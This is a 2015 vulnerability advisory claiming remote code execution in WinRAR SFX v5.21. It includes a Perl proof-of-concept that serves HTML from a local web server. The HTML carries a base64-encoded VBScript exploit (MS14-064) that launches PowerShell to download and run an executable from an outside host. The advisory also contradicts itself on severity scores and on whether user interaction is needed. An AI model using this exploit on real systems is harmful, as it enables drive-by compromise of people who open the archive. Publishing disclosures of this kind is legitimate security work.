Document Title:
===============
WinRAR SFX v5.21 - Remote Code Execution Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1608
Video: https://www.youtube.com/watch?v=fo0l0oT4468
Release Date:
=============
2015-09-28
Vulnerability Laboratory ID (VL-ID):
====================================
1608
Common Vulnerability Scoring System:
====================================
9
Product & Service Introduction:
===============================
WinRAR with over 500 million users worldwide by far the most popular compression program and therefore the best way to files securely and
efficiently to pack for a data transfer to speed up the data transfer via e-mail and secure storage optimized files.
(Copy of the Homepage: http://www.win-rar.com/start.html )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a code execution vulnerability in the official WInRAR SFX v5.21 software.
Vulnerability Disclosure Timeline:
==================================
2015-09-28: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A remote code execution vulnerability has been discovered in the official WInRAR SFX v5.21 software.
The vulnerability allows remote attackers to unauthorized execute system specific code to comrpomise a target system.
The issue is located in the `Text and Icon` function of the `Text to display in SFX window` module. Remote attackers are
able to generate own compressed archives with maliciuous payloads to execute system specific codes for compromise. The attackers
saved in the sfx archive input the malicious generated html code. Thus results in a system specific code execution when a target
user or system is processing to open the comprossed archive.
The security risk of the code execution vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 9.2.
Exploitation of the code execution vulnerability requires low user interaction (open file) without privilege system or restricted user accounts.
Successful exploitation of the remote code execution vulnerability in the WinRAR SFX software results in system, network or device compromise.
Proof of Concept (PoC):
=======================
The code execution vulnerability can be exploited by remote attackers without privilege system user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Run perl code : perl poc.pl
2. Right Click on any file and select "add to archive..."
3. Select "Create SFX archive"
4. Go to the Advanced Menu and select "SFX options..."
5. Go to the "Text and icon" Menu
6. Copy this perl output (HTML) and past on "Text to display in SFX window"
7. Click OK -- OK
8. Your SFX file Created
9. Just open sfx file
10. Your Link Download/Execute on your target
11. Successful reproduce of the code execution vulnerability!
PoC: Exploit Code
#!/usr/bin/perl
# Title : WinRaR SFX - Remote Code Execution
# Affected Versions: All Version
# Tested on Windows 7 / Server 2008
#
# Author: Mohammad Reza Espargham
# Linkedin: https://ir.linkedin.com/in/rezasp
# E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website: www.reza.es
# Twitter: https://twitter.com/rezesp
# FaceBook: https://www.facebook.com/reza.espargham
#
# ID: MS14-064
use strict;
use warnings;
use IO::Socket;
use MIME::Base64 qw( decode_base64 );
use Socket 'inet_ntoa';
use Sys::Hostname 'hostname';
print " Mohammad Reza Esparghamnn";
my $ip = inet_ntoa(scalar gethostbyname(hostname() || 'localhost'));
my $port = 80;
print "Winrar HTML Coden".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."nn" if($port==80);
print "Winrar HTML Coden".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . ':' . $port . '"></head></html>'."nn" if($port!=80);
my $server = new IO::Socket::INET( Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
ReuseAddr => 1)
or die "Unable to create server socket";
# Server loop
while(my $client = $server->accept())
{
my $client_info;
while(<$client>)
{
last if /^rn$/;
$client_info .= $_;
}
incoming($client, $client_info);
}
sub incoming
{
print "n=== Incoming Request:n";
my $client = shift;
print $client &buildResponse($client, shift);
close($client);
}
sub buildResponse
{
my $client = shift;
my $client_info = shift;
my $poc="CjxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVt
dWxhdGVJRTgiID4KPGhlYWQ+CjwvaGVhZD4KPGJvZHk+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJT
Y3JpcHQiPgoKZnVuY3Rpb24gcnVubXVtYWEoKSAKT24gRXJyb3IgUmVzdW1lIE5leHQKc2V0IHNo
ZWxsPWNyZWF0ZW9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKQpjb21tYW5kPSJJbnZva2UtRXhw
cmVzc2lvbiAkKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgn
aHR0cDovL3RoZS5lYXJ0aC5saS9+c2d0YXRoYW0vcHV0dHkvbGF0ZXN0L3g4Ni9wdXR0eS5leGUn
LCdsb2FkLmV4ZScpOyQoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4
ZWN1dGUoJ2xvYWQuZXhlJyk7IgpzaGVsbC5TaGVsbEV4ZWN1dGUgInBvd2Vyc2hlbGwuZXhlIiwg
Ii1Db21tYW5kICIgJiBjb21tYW5kLCAiIiwgInJ1bmFzIiwgMAplbmQgZnVuY3Rpb24KPC9zY3Jp
cHQ+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPgogIApkaW0gICBhYSgpCmRpbSAgIGFi
KCkKZGltICAgYTAKZGltICAgYTEKZGltICAgYTIKZGltICAgYTMKZGltICAgd2luOXgKZGltICAg
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bigpCiAKZnVuY3Rpb24gQmVnaW4oKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgaW5mbz1OYXZp
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IHRoZW4gCiAgICAgICAgICAgICBpbnRWZXJzaW9uID0gQ0ludChNaWQoaW5mbywgSW5TdHIoaW5m
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ICAgICAgICAgIAogIGVuZCBpZgogCiAgd2luOXg9MAogCiAgQmVnaW5Jbml0KCkKICBJZiBDcmVh
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bGNvZGUoKSAgICAgICAgICAgICAgICAgICAgCiAgICAgZWxzZSAgCiAgICAgICAgICBzZXRub3Rz
YWZlbW9kZSgpCiAgICAgZW5kIGlmCiAgZW5kIGlmCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9uIEJl
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MikgIAogICAKICAgICBhYigwKT0wCiAgICAgYWEoYTEpPWkKICAgICBhYigwKT02LjM2NTk4NzM3
NDM3ODAxRS0zMTQKIAogICAgIGFhKGExKzIpPW15YXJyYXkKICAgICBhYigyKT0xLjc0MDg4NTM0
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YTApICAKZW5kIGZ1bmN0aW9uIAogCiAKZnVuY3Rpb24gc2V0bm90c2FmZW1vZGUoKQogICAgT24g
RXJyb3IgUmVzdW1lIE5leHQKICAgIGk9bXlkYXRhKCkgIAogICAgaT1ydW0oaSs4KQogICAgaT1y
dW0oaSsxNikKICAgIGo9cnVtKGkrJmgxMzQpICAKICAgIGZvciBrPTAgdG8gJmg2MCBzdGVwIDQK
ICAgICAgICBqPXJ1bShpKyZoMTIwK2spCiAgICAgICAgaWYoaj0xNCkgdGhlbgogICAgICAgICAg
ICAgIGo9MCAgICAgICAgICAKICAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAg
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ICAgICAgICAgICAgICBpZih2YXJ0eXBlKGFhKGExLTEpKTw+MCkgIFRoZW4gICAgCiAgICAgICAg
ICAgICAgICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbiAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoYWEoYTEpKQogICAgICAgICAgICAgICAg
IGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIGVuZCBpZgogICAgICAgICAgIGVs
c2UKICAgICAgICAgICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKICAgICAgICAgICAgIGV4aXQg
IGZ1bmN0aW9uCiAKICAgICAgICAgICBlbmQgaWYgCiAgICAgICAgZWxzZQogICAgICAgICAgIGlm
KHZhcnR5cGUoYWEoYTEtMSkpPD4wKSAgVGhlbiAgICAKICAgICAgICAgICAgICBJZihJc09iamVj
dChhYShhMSkpID0gRmFsc2UgKSBUaGVuCiAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUo
YWEoYTEpKQogICAgICAgICAgICAgIGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICBl
bmQgaWYKICAgICAgICBlbmQgaWYKICAgIGVuZCBpZgogICAgICAgICAgICAgICAKICAgICAKICAg
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CiAgICBFbmQgSWYgIAogICAgSWYodHlwZTE9JmhCOUFEKSBUaGVuCiAgICAgICAgICBPdmVyPVRy
dWUKICAgICAgICAgIHdpbjl4PTEKICAgIEVuZCBJZiAgCiAKICAgIHJlZGltICBQcmVzZXJ2ZSBh
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KDApPTAKICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKZW5kIGZ1bmN0aW9uCiAKPC9zY3JpcHQ+
CiAKPC9ib2R5Pgo8L2h0bWw+";
$poc = decode_base64($poc);
my $r = "HTTP/1.0 200 OKrnContent-type: text/htmlrnrn
$poc";
return $r;
}
Security Risk:
==============
The security risk of the code execution vulnerability in the winrar sfx software is estimated as high. (CVSS 7.4)
Credits & Authors:
==================
Mohammad Reza Espargham [https://ir.linkedin.com/in/rezasp] (me@reza.es or reza.espargham@gmail.com] (www.reza.es)
Disclaimer & Information:
=========================
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